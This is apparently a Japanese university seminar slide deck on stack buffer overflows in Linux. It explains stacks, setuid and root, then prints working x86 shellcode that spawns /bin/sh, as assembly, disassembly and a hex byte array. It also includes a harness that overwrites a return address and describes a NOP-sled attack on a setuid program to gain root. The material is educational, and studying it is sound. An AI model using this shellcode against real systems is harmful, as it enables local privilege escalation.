セキュリティ(3) 05A2013 大川内 斉 今回の内容 前回、説明不足な内容に終わったバッファオーバーフローに ついて具体的に行った 不正なプログラムの 実行 test() { ・・・ 偽のアドレスで 書き換える } int main() { char str[3]; char str2[3]; scanf(“%s”,&str); ”AAAAA・・・ test(); ・・・ バッファオーバー フロー main()への戻り値アドレス Str2 AAAA Str AAA 開発環境 knoppix(Linux) 前回の質問 1.コンパイラはバッファオーバーフローを どの程度防げるか? 2.セキュリティホールが多いOSはどれか? コンパイラはバッファオーバーフローを どの程度防げるか? 配列領域のチェック 関数リターンアドレスの書き換え検出(オプション) コンパイラでもある程度は防止できるが、メモ リ保護機能を持つOSやCPU、デバッグツー ルなどを用いることにより危険性は減少する セキュリティホールが多いOSは? Windows Linux MacOS X 深刻な脆弱性の数の多い順 ・WindowsがOSの中で脆弱性の数が最も少な いが、深刻な脆弱性の数は最も多い ・Windowsが、最もユーザが多いため、ターゲット にされやすいという見方もある 今回の目的 セキュリティホールがあり、setuid(ルート権 限)が有効であるプログラムに対して不正な 攻撃を行いルート権限を奪う 一般ユーザとルート ルート(ルートユーザ) 何の制約も受けない、システムの管理者であ りすべての権限を持つ 一般ユーザ ある程度、アクセスが限られており、Linuxで は通常この一般ユーザアカウントで作業する setuid 実行中のユーザーではなく、一時的に別の ユーザに変更できる機能 シェル OSの機能の一つで、Linuxではコマンドによ り、様々な処理ができるが、シェルはユーザ からコマンドを受けてプログラムの起動や制 御を行う ls、pwd、cpなどがある 今回、行う攻撃にはshというシェルスクリプト を用いる スタック メモリの使い方を表す概念のこと push命令(データを入れる命令)を実行 push $1 → push $2 → push $ 3 アドレス 03 02 01 000027 000028 000029 スタックはアドレスの高位~低位に向かって伸びていく pop命令(データを取り出す命令)を一回実行すると・・・ アドレス 000027 02 01 000028 000029 → もっとも低位のアドレスからデータが取り出される ・ 最後にpushしたデータが最初にpopされることになる 実験例1 int main(int argc, char *argv[1]) { char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; } このプログラムを アセンブリ言語→マシン語 と変換し、不正なコードを 作成する execve(data[0],data,NULL); シェルスクリプトを実行できている アセンブリ言語とマシン語 アセンブリ言語 人間にわかりやすい形で機械語を記述する 代表的な言語 マシン語(機械語) CPUが直接理解し実行できるプログラミング 言語で、どのプログラミング言語も最終的に このマシン語に翻訳され実行される アセンブリ言語の作成 .globl main main: jmp L2 L1: popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %al, 0x7(%esi) movl %eax, 0xc(%esi) movb $0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 L2: call L1 .string "/bin/sh" call文を実行すると、そ の次に実行すべきアドレ ス(戻りアドレス)をスタッ クに格納 eax ebx 11 /bin/sh ecx edx 配列のアドレス NULL char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); マシン語(機械語)の作成 08048354 <main>: 8048354: eb 18 08048356 <L1>: 8048356: 5e 8048357: 89 76 08 804835a: 31 c0 804835c: 88 46 07 804835f: 89 46 0c 8048362: b0 0b 8048364: 89 f3 8048366: 8d 4e 08 8048369: 8d 56 0c 804836c: cd 80 0804836e <L2>: 804836e: e8 e3 ff ff ff jmp 804836e <L2> pop mov xor mov mov mov mov lea lea int %esi %esi,0x8(%esi) %eax,%eax %al,0x7(%esi) %eax,0xc(%esi) $0xb,%al %esi,%ebx 0x8(%esi),%ecx 0xc(%esi),%edx $0x80 call 8048356 <L1> 実験例2 unsigned char code[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main(void) { int *radr; //int型のポインタのサイズは4バイト radr = (int *)&radr + 2; (*radr) = (int)code; return 0; アドレス } radr ret (戻りアドレス) 000024 000032 目的を明らかにすると バッファオーバーフローを起こすことにより、 ターゲットプログラムのret(戻りアドレス)を 不正なコードの先頭アドレスに上書きできれ ば、不正なコードを実行できる プログラムで行っていること1 1.初めに不正プログラムのスタックポインタspを求 めている(spは次にデータが格納されるアドレス を指す) 2.次にspからターゲットのアドレスを推測するため ターゲットの配列サイズ分spから引く(しかしター ゲットのアドレスを指しているわけではない) ターゲットプログラムの スタック位置 不正プログラム 不正プログラムで宣 言された変数など sp ret buf スタック プログラムで行っていること2 3.別の領域に確保した配列(A)の全ての領域 を先ほど推測したアドレス(X)で埋める 4.Aの前半分をNOP命令(no operation)で 埋め、その後、不正なコード(S)を格納する 5.配列Aをターゲットプログラムに渡す (配列Aはターゲットの配列より大きい) 配列A X X X X X X 配列A N N N S X X プログラム実行の仕組み ここでは、仮に推測したアドレスがターゲットのbuf配列のア ドレスを指しているとする ターゲットプログラム のスタック N N N S 先頭アドレスを指定しなくても、XがNOPを 指していれば不正なコードは実行される NOPは何も行わない命令でそのまま進み、 不正なコードが実行されることになる X X X ここのXはターゲット プログラムのretが 入っていた場所 プログラム実行 不正なコードを実行できていることがわかる 今後の予定 攻撃法の検証と分析 不正侵入検知(IDS) 参考資料 サイト ・Wikipedia http://ja.wikipedia.org/wiki/ ・IPA(情報処理推進機構) http://www.ipa.go.jp/ ・ITpro http://itpro.nikkeibp.co.jp/ ・IT+PLUS http://it.nikkei.co.jp/ ・「アセンブリ言語の教科書」の原稿 http://ruffnex.oc.to/kenji/text/asmbook/ ・バッファオーバーフローの危険性 http://f16.aaa.livedoor.jp/~vwxyz/up/img/004.txt 書籍 ・ハッカーの教科書
© Copyright 2024 ExpyDoc